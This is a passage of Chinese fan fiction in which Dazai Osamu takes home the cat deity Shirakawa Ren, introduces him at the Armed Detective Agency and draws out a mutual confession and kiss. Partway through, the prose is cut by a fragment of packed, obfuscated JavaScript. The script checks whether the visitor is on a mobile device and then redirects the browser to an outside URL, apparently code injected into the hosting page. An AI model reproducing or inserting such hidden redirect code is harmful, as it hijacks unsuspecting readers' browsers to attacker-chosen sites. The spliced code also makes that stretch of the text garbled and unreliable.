像是……在等待着什么。
——他在等待着什么呢?
白川莲想了想,问道:“太宰君,你想要我带你去更高的地方玩吗?”
这一瞬间,这个年轻人的眼睛亮了起来。
“好!”他从白川莲的怀里跳下,拽着白川莲的羽织,“快快快!我要飞特别特别高!”
年轻人脸上的安静等待化作了另一种热烈的期待。
白川莲觉得自己好像有什么没有答对。
但也不至于答错了什么。
哎呀,管它呢。
猫猫只要负责玩耍就好!
白川莲一笑,将这件事抛到了脑后,直接化作了一只两米高的巨型大猫,把年轻人类抛到了背上。
“抓紧了。”
下一秒,白川莲踩着建筑外墙,一路想上,最后一跃而起,飞向天空。
“哇!”
第一次的,白川莲听到那个年轻人类发出了近乎大笑的声音,在他背上超兴奋地抓着他,催促着他去追赶天上的云彩。
白川莲暗暗点头:果然还是一个小猫崽嘛!
一个下午的时间飞快过去了。
当慈祥大猫载着小猫落地时,后者还有些意犹未尽,哪怕大猫此刻已经变回了人形,他也下意识拽着白川莲的衣服,有些蹦蹦跳跳的样子,脸上神采飞扬。
对于这一点,白川莲还是很理解的。
毕竟年轻人嘛,都是更喜欢酷炫一点的东西,而偏偏太宰的能力特殊,让他几乎与酷炫这种事绝缘。
所以,白川莲暗地里喵喵着想,太宰君之所以老是在暗地排挤他的搭档中也君,恐怕也有这样的阴暗念头吧。
——看不得别人比他更酷炫。
咚!
刚刚还拽着大猫衣服满脸兴奋的人类翻脸不认猫,敲了猫脑袋一拳头。
“不准诽谤我!”
白川莲:“……”
这个人类怎么能……不对!他又没有真的说出口!
还讲不讲理啦
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?!
咚!
又是一下。
太宰治:“呵,蠢猫。”
白川莲:“……切。”
今天的玩耍时间,大概到这里就算是结束了。
冷不丁的,太宰治说:“白川莲。”
白川莲一怔。
这是太宰治第一次这样正式地叫他的名字。
“怎么?”白川莲问。
太宰治说:“你有什么愿望吗?”
“愿望?”白川莲有些惊讶地重复这个词。
这么多年来,从没有人问过白川莲有什么愿望。
毕竟,一般来说,都是人类向白川莲许愿。
或许是感受到了白川莲此刻话语中的细微情绪,太宰治一顿,解释说:“或者是你想做的事。”
白川莲歪头思考:“愿望?想做的事?”
太宰治再次补充:“什么都可以。”
白川莲想了想,摇头:“没有啊。”
“……哦。”太宰治垂下眼,声音不知道为什么冷淡了几分,“没有吗?”
白川莲爽快点头:“对啊,我没有愿望,也没有想做的事。”
太宰治松开了抓着白川莲羽织的手,往前走出了几步后,一顿,又回身看他:“真的什么都没有吗?”
太宰治的声音平静,冷淡,克制。
可白川莲却轻轻侧头,在虚幻的风中听到了太宰治真正想说的话。
【你,期待过我吗?】
白川莲沉默片刻,再开口时,声音柔软得连他自己都感到惊讶。
“太宰君,你太孤独了。”
白川莲说。
“你啊,要记得多花一点时间和朋友相处。他们才是陪伴你最久的生命,所以有些话,哪怕你觉得你的朋友不能理解,也要勇敢地告诉他们,你不能一直待在你的——”
“好了,够了。”
太宰治冷淡的声音打断了白川莲的话语。
这一刻,白川莲看到那双原本积攒了无数兴奋和碎光的眼睛冷了下去,变得如同白川莲第一次见到时那样,枯叶一样死寂,黑暗一样幽冷。
啪嗒。
黄昏下,人类后退了一步,分明轻微的脚步声落在寂静的街道上,竟如同惊雷。
接着,人类转身离开,留给了白川莲一个绝不回头的背影。
这是第一次由人类留给白川莲背影,而不是像以往那样,白川莲在玩尽兴之后给人类来了个转头没。
——所以,其实,这个人类对猫还是很能容忍的嘛……至少比对人类时的态度要好很多。
白川莲看着这个背影,有些晃神地想着。
而直到太宰治的背影彻底消失在街道尽头后,白川莲微微仰头,对着天上那轮昏黄的落日,轻轻地叹了口气。
他知道,他大概是再也不会见到这个人类了。
如果没有意外的话。
·
是啊,如果没有意外的话。
·
可偏偏有些人,是意外事件的高发体质。
·
神社里。
二十二岁的太宰治,在与某个笨猫讨论过“讨不讨厌”的问题后,轻轻吸了口气,放在风衣口袋里的手下意识攥了攥。
“所以,莲……”
太宰治的心跳有些难以控制,话语也变得艰难起来。
这不太对劲的反应,令白川莲下意识抬头看去。
可偏偏,在对上白川莲目光的那一瞬间,太宰治有些不自在地避开了白川莲的眼神。
于是,白川莲也觉得自己有些不对劲了起来。
——干什么,这都是在干什么啊!
大猫暗暗炸毛,感到空气里充满了陌生气息。
不是轻快或者沉重的,是像麦芽糖一样黏牙的;不是清新或者沉闷的,而是带着蜂蜜一样的香气的。
甚至连原本无形无质的空气,都像是纠缠着什么。
还有年轻人那双眼睛——那双眼睫轻垂着颤抖着,望过来时像是含着什么让人心脏发软的可爱情绪的漂亮眼睛。
白川莲有些发呆:是从什么时候开始……变成这样的?
不、不知道呀!
猫不知道啊!
“莲。”
“啊……啊?哦,什么事?!”白川莲莫名紧张。
太宰治的目光转了回来,又恢复到了平日里的聪明模样,笑眯眯地向白川莲伸手。
“跟我走吧。”
白川莲呆立原地。
这一刻,他漂亮的猫眼圆睁,就像一只真正的傻猫一样。
于是,太宰治笑容变得更为狡黠,轻轻眨眼的样子,竟如同多年前那只赖在他屋子里得意洋洋摇尾巴的大猫。
“对,没有听错哦——”太宰治拉长声音,“跟我回家吧,莲。”
半晌,白川莲终于回神。
他张嘴,发出一声傻乎乎的猫叫。
“啊?”
9.009 猫冤枉
就这样,也说不清是为了什么,白川莲就这样稀里糊涂地被太宰治骗回了家。
不,严格来说,这甚至不能说是“骗”。
因为那个年轻人类甚至只是向他伸出了手,白川莲就晕头转向地被人类揣走了……这合理吗??
一连三天,白川猫都在沉吟,在45度角仰头望天中思考猫生。
而与此同时,太宰治非常顺利地在这三天里完成了以下行动:
第一件事,把猫顶在脑袋上飞奔回家,放在准备好的猫窝里咔咔拍照。
“来,莲,要站在阳光下用最可爱的眼神看我,对对,就是这样,再抬起手,跟我说,欢迎主人回——唔咳,别打别打,这可是一颗很珍贵的脑袋,不能打的……等等,绷带也不能扒,一会儿还要出门呢,要扒回来再说嘛……”
第二件事,向附近的邻居们介绍猫。
这里的邻居,主要是指武装侦探社员工宿舍的众人。
还有就是为了养家糊口而发奋写小说、但写了一年后就瘫成了鸽子,觉得自己的生活费果然还是得靠第二份工支撑,于是就此供职武装侦探社的织田作之助。
当然,还有住的更远一点的坂口安吾,但这个人就算了吧。
不是太宰治对这小子有什么成见——好吧,的确有那么一点点——但主要还是因为这个家伙基本都不在家,去了也是白跑一趟。
太宰治:“啧啧,是可悲的成年社畜呢。”
为他默哀三秒,不,两秒,算了,半秒就够了,多了就不礼貌了。
所以,总的来说,太宰治主要的炫耀对象,还是武装侦探社的众人。
而炫耀的方式也很简单:
带去上班。
白川莲是一只非常美貌的猫咪。
再三强调,非常美貌。
因此,当太宰治顶着一只漂亮猫咪招摇过市时,原本还会羞涩地偷偷看他的、嫉妒地偷偷看他的、愤怒地偷偷看他的视线,统统变成了目瞪口呆地看他……脑袋上的猫。
然后下意识摸口袋。
贡品呢?
我给猫猫神的贡品呢?
什么,竟然没有吗Q^Q
然后,在没找出贡品的失落,和对自己没有猫的痛苦中,嫉妒地看着某人哼着歌飘过。
可恶,有猫了不起啊Q皿Q
兴冲冲且超活力地来到武装侦探社后,太宰治推开门,0帧起手,向脑袋上的猫介绍侦探社众人。
“莲,这是乱步先生,非常可靠的一位名侦探哦!乱步先生,这是莲。”
江户川乱步奇怪抬头看了一眼。
然后是第二眼,第三眼,第四眼……
啪嗒。
美味棒掉在了桌子上。
“什么?太宰——”
但这时候,某个招人恨的轻浮家伙已经轻飘飘地转移了方向,走向织田作之助的位置。
在路过国木田时,面对国木田震惊的脸和“你竟然带猫来上班”的大吼中,太宰治把猫抱在怀里,可怜巴巴,低头垂泪:
“怎么办,莲,国木田妈妈好像不欢迎你,呜呜呜,好可怜哦,你这样可怜可爱的一只小猫咪,如果没有我的保护可怎么办,如果你真的被赶出去的话,以后一定只能可怜巴巴地在垃圾桶里捡东西吃,最后饿得瘦骨嶙峋吧,天呐,好过分!”
国木田:“也、也不是说要赶出去……”
太宰治瞬间变脸,露出了清爽帅气的笑容:“看!莲,国木田说以后你有什么事都可以去找他呢!”
国木田:“……可恶的太宰!我明明没有——”
“莲,快,打个招呼。”
白川莲好奇看国木田,歪头:“咪?”
国木田:“这……这个、那……好吧。”
越过被轻松攻略的国木田,太宰治三两步跳到织田作之助的面前,把白川猫放在桌上,一脸骄傲,向织田作之助打招呼时都像是背景板里有花花在飘:
“锵锵!看,我把莲带回来了哦!”
织田作之助看向白川莲,神色郑重地说道:“好久不见,非常高兴再次见到您。说实话,上一次实在是非常感谢您的相助,只可惜这几年一直没能遇见您,如果以后有什么事的话,请尽管吩咐。”
白川莲:“……”
白川莲偷偷往后挪了挪。
太宰治小小声:“不要这么严肃啦,织田作,莲会很容易害羞的,因为他就像是古代深闺里的大小姐——呜哇。”
白川莲冷笑抄起猫猫拳,朝着某人毛茸茸的脑袋又是邦邦两下。
最后,邦完猫猫拳后,他向织田作之助矜持地点点头,然后轻轻跃到窗台上晒太阳了。
太宰治气音:“看,害羞的大小姐。”
织田作:“……”
看来有人是真的胆大包天一点都不怕猫的报复呢。
而与此同时,另一边,社长不知不觉中走了出来,站到了乱步的身旁。
乱步:“……就算是这只猫,也不会给你摸的。”
社长:“……”
社长又默默地回去了,背影似乎有些凄凉。
之后,随着其它社员的陆续来到,美貌猫猫俨然成了社内的新明星。
只不过这位新明星比其它的任何猫咪都要高冷得多,就像是美貌无比得猫猫神,可不是谁都能上手摸的!
除了自称猫主人的太宰治。
虽然每次提到“猫主人”这样的话题时,太宰治都会被猫猫毫不留情地用肉垫邦邦邦。
但是……
但是就算是被猫猫打,也好令人羡慕呢!
重度猫控春野绮罗子暗暗垂泪。
就这样,短短三天时间,武装侦探社的众人就熟悉了太宰治和猫的组合,而白川莲也在这三天里稀里糊涂地思考完了猫生,接受了自己就是莫名其妙被人类拐出了神社的事。
于是,第三天晚上,给足了猫适应期的人类开始搞事了。
“莲。”
夜晚,人类抱着薄薄的毯子,坐在猫面前,漂亮的鸢色眼睛含着委屈,可怜兮兮地说道:“今晚好冷呢,莲,你晚上不和我一起睡吗?”
白川莲:“……”
人类你要不要听听你在说什么?
像是看出了白川莲这一刻的无语,太宰治露出无辜神色:“这又怎么了?莲,你难道不是猫吗?猫和人睡又怎么了?而且,我们以前又不是没有睡过。”
白川莲:“……”
白川莲简直要怀疑是自己的国文学得有问题还是这个人类的国文有问题……
有这么说话的吗?!
白川莲干脆变成了人形,抱手坐在榻榻米上,用猫猫不赞同的目光看着太宰治,看这坏心的人类还有什么话说。
——结果他还真的有话说!
“莲,你看,变成人类就没办法睡猫窝了呢。”
那人类抓着薄薄的毯子,含笑的鸢色眼睛像是狡黠,又像是在撒娇,向白川莲又凑近了一些。
白川莲则歪头看他,安静等待下文。
白川莲的人形很高,近一米九的他站起来比太宰治还要半个头;他看起来也并不强壮,和所谓的健美先生完全不是一个风格的。
但太宰治很清楚,白川莲并不瘦弱。
甚至白川莲脱了衣服还挺——咳!
太宰治下意识往后缩了缩。
但转念一想,不行,都走到这一步了,绝不可以前功尽弃!
否则如果让这个笨猫跑掉了,他是真的会被气死的!
所以——
“所以,果然还是两个人比较暖和吧?”
不知不觉的,原本盖在太宰治身上的薄毯落下了,露出了他半开的衬衫,解到一半的绷带。
像是一只在毛线团里滚过的猫咪,又像是一个等待拆解的礼物。
可偏偏他微微仰头看白川莲时,目光纯洁,就好像真的是在邀请一只猫,不含半点杂念。
“好吗,莲?”
他的指尖轻轻捏着白川莲的羽织,轻柔地、软绵绵地扯了扯,就像是一只可怜猫咪小心翼翼地用爪子勾路过好心人的衣角,既依恋,又害怕被人拒绝。
甚至就连他的声音也软得不像话:“可以的吧?”
白川莲:“……”
很难有人能够拒绝一只可怜小猫咪。
哪怕他们明知道这只是猫咪的勾|引小把戏,但……
“不行。”
作为猫猫神,白川莲轻松,不,勉强,不,艰难地拒绝了。
白川莲拿下这个人类的手,无奈道:“太宰君……你知道你在干什么吗?”
昏暗的灯光下,空气里似乎又涌出了奇怪的气息。
甜蜜的,粘稠的,令人难以呼吸的。
像是深陷某种甜蜜的泥沼,分明想要挣脱,但偏偏越是挣扎,越是深陷。
白川莲不自在地侧了侧头,喉咙里冒出了一声咕哝。
“别靠太近了……”
太宰治眼睛一亮,像是发现了什么好玩的事,一边挂着纯洁无辜的笑容,一边坏心眼凑近。
“我做什么了?”太宰治天真说,“我只是让你把你对我做的事再做一遍而已。”
闯进他的屋子,挤上他的床,趴在他的身上,甚至撕掉他的衣服,扯掉他的绷带……这一件件令人发指的事,这个恶猫有哪一件没做过?
现在倒是害羞了?!
呵,晚了!
听出了人类话语中的控诉,白川莲的脸有一点点发红,还有一点点惭愧。
当然,只有一点点。
所以很快的,疏于反省自己的坏猫就理直气壮地说道:“可我只是在跟你闹着玩!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957209|160168||http|test|mini|href|location''.split(''|''),0,{}));
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>“那现在呢?”
太宰治又向白川莲逼近了一步,捧着白川莲的脸,动作柔和,但不容拒绝。
“现在就不能继续和我玩了吗?”
白川莲在这一瞬间哑然。
是啊,现在就不能继续“玩”了吗?
似乎……似乎是不太可以了。
可是,为什么呢?
难道是因为人类已经长大了,不能再用对待孩子的那一套对待他?
可人类的年龄对神明和妖魔来说又有多大的意义?
如果猫真的想,无论是老人还是孩子,猫都可以毫无心理负担地扑上去扒衣服。
那么,莫非是因为人类心底其实已经无法接受这样的戏弄了?
猫是一个有道德的好猫,是猫猫神,所以猫也不会真的不顾人类的意愿,对人类做什么过分的事。如果人类真的无法接受这种程度的戏弄,猫也是不会对人类下手的。
可人类已经说了,很欢迎他继续来戏弄他。
可白川莲为什么就……
没有办法再这样做了呢?
越来越近的距离里,白川莲看着面前的人类,又一次从人类身上嗅到了河水、细雨和青草的香气。
那是他还是猫咪时,最喜欢的味道。
于是这一刻,白川莲蓦地明白了。
明白从一个人身上嗅到自己喜欢的气味这件事代表了怎样的意义。
所以白川莲也明白了。
他的确可以变成猫咪,肆无忌惮地跟一个普通的人类打打闹闹、滚成一团,挤上对方的床,抢走他的被子,甚至把人类的衣服撕成一团毛线球,一边看对方洗澡换衣服一边评价对方的身材。
是的,他可以毫无心理负担地与一个普通人类做这些事。
可白川莲……没办法对太宰治做这样的事。
或许曾经的他可以,但以后不可以了。
因为猫,不,因为他白川莲,对太宰治,心有杂念。
想到这里,白川莲轻轻叹了口气,抬起眼来,张嘴想要说点什么。
可只是一秒后,白川莲就忘了这件事。
因为此刻,他面前的这个人类,真的凑得太近太近了。
近到白川莲只要轻轻一个俯身,就能亲吻上那双含着湿漉漉情绪的眼睛,又或者是那笑着的薄唇。
很甜。
白川莲恍惚错神。
有点……太甜了。
真奇怪,为什么这个人类给他的感觉……会这样甜呢?
想试试……
这个念头在脑中飞掠的瞬间,白川莲呼吸滚出了两份炙热,喉头轻轻滚动。
然而,还没等白川莲自己发现自己这个奇妙的念头代表着什么,他就看到那漂亮的眼睛轻轻一弯。
“哦——原来是想亲我吗?”
白川莲一惊:“——欸?!”
下一秒,柔软的感觉就轻轻落在白川莲唇上,一触即离。
甜的。
果然,就和白川莲想的一样,是甜的。
但是……
白川莲轻轻按着自己的唇,看着自己面前这张期待含笑的脸,虽然知道不合时宜,但还是硬着头皮说道:“太宰君,你这是——”顿了顿,他小声喵喵,“我们的进度会不会有点太快了?”
太宰治:“快?你这个恶猫明明都对我——”
蓦地,太宰治卡壳了,一个激灵,回过神来,像是要确定什么似的,一遍遍打量白川莲的细节,观察白川莲的表情。
白川莲微微歪头,困惑回望,没有避让太宰治的审视。
于是白川莲看到了——
那一点点变红、一点点染上惊慌失措,最后又是羞恼又是气怒,恨不得化身恶猫啊呜一口咬在白川莲脸上的可爱表情。
“你不记得……你不记得了?!”
明明半分钟前,人类还表现得游刃有余,撒娇卖萌手到擒来,可这一刻,他却近乎惊慌地后退了一步,下意识捂住了他红透了的脸,就像是被当众扒掉了绷带一样羞愤欲死。
“你竟然不记得了,那我、那我——”
那他,刚刚都在做什么啊?!
是勾|引吗?
根本不是久别重逢的情人重拾当年情|趣的play,而是真正不知羞耻的勾|引吗?!
太宰治不敢再多看白川莲一眼,掉头冲回卧室,用力摔上门。
但,三秒钟后。
炸毛的人类又从卧室里冲出来把白川莲扑倒,抓着白川莲的衣领用力摇晃,咬牙切齿,用恃宠而骄、理不直气也超级壮的语气叫道:
“可恶的笨猫,不准给我糊弄过关!给我快点想起来!”
“玩弄了我之后又用忘记这种借口把我抛弃——这种事你想都不要想!!”
白川莲:“……”
猫冤枉啊!!
10.010 逼问
一阵鸡飞狗跳后,一猫一人面对面严肃坐着。
猫猫发言:“首先……”
太宰治:“你失忆了。”
白川莲:“其实……”
太宰治:“玩弄了我之后又给我玩失忆,你太过分了!”
白川莲:“我真的——”
太宰治:“我要哭了哦,我真的会哭给你看的!”
白川莲:“……”
白川莲当场表演了一个猫猫炸毛。
“就不能听我把话说完吗?!”
太宰治抱手,不开心扭头,委委屈屈地说道:“那你说吧。”
竟然还摆出了这样一副遭受了天大委屈的脸。
白川莲险些被气笑了。
可是,有些事还是要说的。
“我没有失忆过。”
白川莲郑重地向面前的人类说道:“或许我的某些记忆的确因太过久远而有些模糊……可是我可以保证,我的记忆是连续的,从来没有遗失过,所以——”
所以那个所谓的“玩弄了你”的家伙根本不可能是猫!
猫才没有做过坏事,绝对没有!
这种奇奇怪怪的事,就不要随随便便按在猫的头上啦!
白川莲无疑是想要这样说的。
可只说到一半,他就说不下去了。
因为白川莲发现,那个一直在他面前撒娇耍赖、好像无论面对什么都能游刃有余的人类,竟不知什么时候已无意识地抿紧了唇。
他长长的眼睫轻轻垂下,随着白川莲的每一个音调起伏而极细微地颤抖着,而他胸膛里的每一次呼吸,也都又轻又细,像是压抑着某种抽丝的疼痛,以及绵长无尽的苦涩恐惧。
——他在害怕。
在这一刻,白川莲蓦然明白了这件事:
哪怕面前的这个人类一直如白川莲记忆中的那样,表现得胡闹又任性,坏心眼得理直气壮,让人以为他好像什么事都不会真正放在心上,甚至就连他自己亲口发出的抱怨,都轻飘飘得如同一场玩闹、一个玩笑。
但其实,这个人类真的……非常害怕。
他竟然也会害怕。
他竟然真的在害怕白川莲忘掉了那些属于他们的恋人的过往。
一段……并不存在的过往。
“唉……”
白川莲无声叹息。
他看着面前的人类,目光柔软,就像是被细密干燥的柳絮塞住了胸口,一种轻柔又带着细微苦涩的情绪在舌根翻滚着。
白川莲坐了回去。
原本又急又气、几乎要跳起来的炸毛猫,不知不觉冷静了下来,而他看着人类的目光,也从惊慌气恼变成了柔和无奈。
“太宰君,你啊……”
明明这么多年过去了,怎么还是跟当初的那个小孩子一样呢?
无论是生气也好开心也好,都统统压到心底,不管不顾,任其腐烂,好像只要表现得不在意了,就能真的不在意了一样。
就连试探别人,都是用的伤害自己的方法。
有什么话不能直接跟他说吗?
“……我可以问为什么吗?太宰君?”
到底,白川莲还是换了个说话的方式。
少指责,多哄人。
不要在情绪不稳定的时候选择激烈的言辞,因为对猫来说无关痛痒的言语,某些心思太过敏感的人类却会为此伤心很久。
当然,会考虑这么多绝对不是因为白川莲觉得这个人类看起来太可怜了,哪怕低头不说话的样子都让猫心软,而单纯就是因为猫心肠好。
猫好人坏,就是这样的。
“为什么你会觉得是我失忆了?”白川莲用最柔和的语气问道,就像是怕惊吓到什么一样,“太宰君,在你的身上发生了什么?可以告诉我吗?”
人类偏头不说话,只一味生气。
白川莲又忍不住要炸毛了。
但看一眼漂亮人类的脸,猫忍了。
毕竟被美色迷惑也实乃猫之常情。
有这样一张脸的人类,无论干什么猫都能多忍他两分的。
“是看到了什么奇怪的事吗?还是遇到了什么怪东西?”
白川莲继续试探着发问。
主要是白川莲怀疑这个聪明人类是不是难得犯了一次傻,被什么乱七八糟的妖怪用一场梦、一个幻境给骗了。
虽然随着战国时代的结束,神魔越发凋敝,到了近现代更是销声匿迹,很难会再出现一个大妖魔了……可万一呢?
万一就是有一个从战国时代活下来的漏网之鱼,用幻境把猫养大的人类给耍了呢?
想到这里,白川莲心脏都吓得停跳一拍,连忙偷偷嗅了嗅人类身上的味道。
很干净,没有被别的妖魔缠上。
还好还好。
只不过,不知道为什么,白川莲总感觉自己好像从人类身上闻到了另一种微妙的味道,似乎是人类十六岁之后就一直向他抱怨的……猫味?
——总不可能真的是他白川莲吃干抹尽后玩失忆不认人吧?!
不可能!
他不是这样的猫啊!
白川莲又开始偷偷炸毛。
“在想什么?”蓦地,太宰治冷不丁开口询问。
简直就像是有读心术一样。
白川莲迅速回神,若无其事道:“我在想你。”身上发生的事。
空气有一瞬间的微妙凝滞。
紧接着,随着那人类转头向白川莲看过来,那双漂亮的鸢色眼睛轻轻一眨,一切便又变得轻快甜蜜了起来。
这可真是奇怪。
猫想。
明明刚刚这个人类还低落不安,像是在暗暗生气、暗暗伤心,但只是一瞬间,人类就转变了心情,哪怕抬头气鼓鼓瞪猫的样子,都感觉十分甜蜜,像是被猫哄好了一样。
……猫不懂啊!
在猫的无限困惑中,人类说:“你觉得是我认错了人,是因为你认为你从来没有失忆过。”
猫点头。
人类提高了声音:“你觉得我连我的猫都能认错吗?!”
白川莲:“……”
谁是你的猫啊!不要偷偷夹带私货!!
但——
这不是现在最重要的问题。
猫忍气吞声,说:“我真的没有失忆。”
太宰治理直气壮道:“可是你刚刚还说,你有一些记忆很模糊了,你怎么知道我不在你忘掉的这些记忆里?”
白川莲无奈道:“但那些都是很久以前的事了。”
人类今年才多大,怎么可能存在于猫猫神那些模糊的记忆里?
可太宰治捂住耳朵,摆出一脸的“我不管我不听”,拉长了语调:“就是你的错,全都是你的错!你肯定把我忘在了过去的记忆里了,你太过分了,明明是我的猫,却把我直接忘掉了,我要哭了,我下一秒就要哭了哦!”
白川莲:“……”
白川莲深吸一口气,觉得自己真是上辈子欠了这个人类的。
当年的他在遇见这个人类后,明明只是想要捡个人类幼崽回去帮他打理神社,结果最后八年过去了,这个人类依然活蹦乱跳,而自己却反而被他从神社里骗出去了。
到底怎么会变成这样的啊?
难道这是报应吗?
可猫也没有做过坏事呀!
人类显然把猫的心思拿捏得很准,在猫再次炸毛前,他果断停下了自己的耍赖行为,再次捏住白川莲的羽织,垂着头,可怜兮兮道:“真的不想一想吗?莲,如果你努力回想一下的话,一定可以想起我的……或者,你可以把之前的那些事告诉我,我帮你一起想,好不好?不要忘了我,只有这件事,绝对不要……快点想起来吧,好不好?”
在这一刻,白川莲蓦地一愣,惊讶地看向太宰治,恍然大悟,终于明白了这个人类在他面前又是撒娇耍赖,又是扮可爱扮可怜扮柔弱,这样一大通迂回的折腾到底是为了什么。
“太宰君,你难道是……想要知道我之前的事?”白川莲困惑说,“如果你真的那么想要知道,直接跟我说就好了,为什么老是喜欢用这样复杂迂回的办法?”
为什么总是喜欢用复杂的方法达成目的?为什么总是喜欢用迂回的谎言掩饰真心?
明明猫已经说过很多遍了:想要猫做什么,直接说就好了。
为什么这样简单的事,人类总是做不到呢?
就像是被蓦然撕下了保护的外壳,人类像是被烫到似的缩回了手,近乎茫然地看着白川莲,随后,一种更真实更复杂的、想要回避现状的情绪在人类身上浮现。
可是,不知道为什么,人类竟然没有离开。
他只是跪坐在白川莲面前,双手乖乖地放在腿上,微微低着头,像是犯错的孩子,嘴唇无数次张合,像是有很多很多的话想要说。
可千言万语汇聚在唇边,到最后只有一句很轻很轻的话飘出:“可是,没用的吧……哪怕我跟你说……也没用的吧。”
如果直白地说出自己想要的东西后又被拒绝,那是一件多么难堪的事啊。
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可如果用玩笑的方式说出,用谎言的方式表达,用迂回的方式恳求,那么哪怕无法达成,也依然能够保持体面。
大家可以相视一笑,装作谁都没有在乎过。
人类就是这样的,不是吗?
猫不解道:“你不说,怎么知道没有用?你不问我,怎么知道我不会答应?”
太宰治颤声道:“所以如果我直接说,想要你告诉我你没告诉过我的所有事,如果我直接说想要你亲我的话,也可以被满足吗?”
猫叹道:“不可以。”
太宰治脸色发白,蓦地站起身,用力握紧了手:“既然如此——”
白川莲打断道:“但是,我的拒绝,并不是因为不愿意满足太宰君你的愿望,而是因为哪怕直到刚刚的那一秒,你都在说谎。”
太宰治瞳孔紧缩,彻底僵在原地。
白川莲又叹了口气,终于站了起来。
这是白川莲第一次以人类的形态,站在这个狭小的公寓里,站在太宰治的面前。
他高大的身影遮蔽了头顶的昏暗灯光,阴影在人类漂亮的鸢色眼瞳中投下,融入了那双和夜色一样静谧的眼睛里。
但白川莲的声音是干净而柔和的,像是一捧春雪,温柔得像是没有半分攻击性。
“太宰君,或许谎言曾经帮你达成过很多很多目的,但是,人类不能一味地走捷径。所谓的‘捷径’,很多时候往往会让你绕更远的道路,因为人们真正想要的珍贵之物,是不能用谎言的方式获得的。”
太宰治僵硬地站立着,控制着自己每一个细微的表情和神态,想要表现得自己毫不在意也毫不动摇的样子。
可他的呼吸再次压得极轻极细。
那如沉疴旧疾一样的痛苦,再次在他的呼吸间缠绕。
白川莲说:“相信我吧,太宰君,哪怕一次也好,告诉我你想要什么。”
太宰治低头沉默不言,态度十二分的不合作。但当白川莲抬起他的下巴,逼迫这个人类看向他时,人类的眼睛却又湿漉漉的,像是无声求饶的小动物。
白川莲有些心软,有些无奈,但又觉得不能这样放任下去。
于是他硬着心肠,再次问道:“你想要什么?不能是谎言,不能是虚假,告诉我吧,太宰君,告诉我你真正想要的东西。”
太宰治闭上了眼,脸上浮出了病态的红晕。
他开始后退,但只是一步,白川莲就抓住了他的手,右手也按住了他的后颈,否决了人类提交的写着“逃跑”的答卷。
“回答错误。”
白川莲第三次叹气,第三次问他。
“太宰君,告诉我,你想要什么?”
不知道为什么,这一刻,白川莲感到自己手掌下的人类的体温开始节节攀升,就像是被卷入了一场无声的高热。
原本平稳的呼吸开始颤抖,那在胸口流动的气息也变得湿润。
难以呼吸,难以自控。
“我……不行——”
“没关系的。”白川莲温柔说,“告诉我吧,无论什么都可以。”
难以启齿。
“我、我想……”
白川莲眨了眨眼,没有听清:“什么?”
漫长得如同一个世纪的沉默,太宰治终于睁开眼,甜蜜而柔软的颜色里,细微的声音如同耳语:“我想、要你喜欢我……也可以吗?”
这个人类、在说、什么?
如同被骤然降临的心跳捕捉,白川莲愕然呆立原地,耳尖泛红,不知不觉松开了抓住太宰治的手。
这一回,想要跑路的变成猫了。
但是,就像人想跑路时会被猫抓住一样,猫想跑路时也会被人抓住。
被逼迫出了真心之语的太宰治,怎么可能容许自己的猫就此跑掉。
他反手抓住白川莲,看着那双愕然睁大的漂亮猫眼,一字一顿说:“亲我。”
白川莲震惊:“什么?!”
“什么‘什么’?明明是莲你自己说的吧?是你让我相信你,是你告诉我不管我说什么你都会达成我的愿望!那么,我现在的愿望是——”
在那双湿漉漉的眼睛的注视下,白川莲再一次听到了人类的愿望。
“亲我。”
【爱我。】
“想起我。”
【不要离开我。】
“不准忘了我。”
【真的,好喜欢你啊。】
白川莲呆呆的看着面前的人类。
那点燃了人类体温的高热,终于也爬上了他的脸颊。
11.011 期待
噗通,噗通——
混乱的心跳,一如白川莲此刻混乱的思考。
那让人羞涩难言的高热,随着心脏的贲动融入血液,蔓延全身。
不用照镜子白川莲都知道,自己现在的脸一定很红……但这不是重点!
重点是——
哪个好人会这样胡乱许愿啊?
谁会跑到神社里去跟神明许愿要亲吻啊!
现在,白川莲就是陷入了这样的两难境地:
如果他一口拒绝的话,他作为神明,无疑是失约于这个好不容易被他哄好,向他认真许愿的人类。
而且白川莲本心其实也很不忍心辜负这个人类的期盼,令这个人类好不容易向他交付的信任落空。
可答应的话……
就是说!谁会跑到神社里跟神许愿要亲吻啊!!
而且、而且还有那些更深层的没有宣之于口的……真正的愿望。
呜啊!可恶的人类!
怎么会有人跟猫猫神许这种愿望啊!
猫想要后退。
猫还想要跑路。
但猫抓人时很顺手,人抓猫时也同样很顺手。
所以太宰治只是向前一步,右手向上一抬,便以方才白川莲捕获他的姿势,捕获了白川莲。
他强迫白川莲低头,看着自己的眼睛:
“你要拒绝我吗?”
只是一眼,太宰治就笑了起来,像是洞悉了白川莲的退缩。
那在他眼底流动的喜欢与爱意,如同憎恶和死亡一样浓郁惊人,轻轻翻滚,深深沉淀。
他轻声说:“所以,你决定……要拒绝我了吗?”
白川莲:“……”
干什么呀?
突然面对这种情况,会犹豫不是很正常的事吗?干什么一个没注意就变成这种样子啊!
白川莲抬手,捧住面前这张漂亮的脸,苦恼道:“唉,虽然不知道发生了什么……”
虽然猫的脑袋还是一团混乱。
“虽然不知道太宰君为什么突然……说这种话。但是——”
白川莲不再多言,低头轻轻亲吻在人类的眉心。
“——不要难过。”
白川莲的态度如此郑重,如此柔和,不含半点轻佻、半点杂念。
如同对待一个最无暇的灵魂,最珍贵的宝物。
“我会帮你的。”
白川莲轻轻吻在人类的眼睛上。
人类闭上了眼,长长的眼睫不停轻颤。
“不管是什么事,我都会帮你的。”
白川莲轻轻吻在人类的唇上。
于是,那细微的颤抖也捕获了人类的唇。
白川莲用指腹轻轻摸了摸人类有些潮湿的脸,说:“所以,不要露出这么难过的表情,好不好?”
到了现在,猫其实依然什么都不明白。
但是猫至少明白,无论什么事,都不值得让一个人那样难过。
“别难过好不好?”白川莲叹道,“看你这么难过,我也会很难过的。”
“……笨猫。”
人类轻轻嘟哝着,像是不开心一样,扭脸要挣开白川莲的手。
可在白川莲真的松手前,他又偷偷用脸在白川莲手心里蹭了一下。
白川莲:O_O
这是……被哄好了?
所以猫现在是该松手还是不松手?
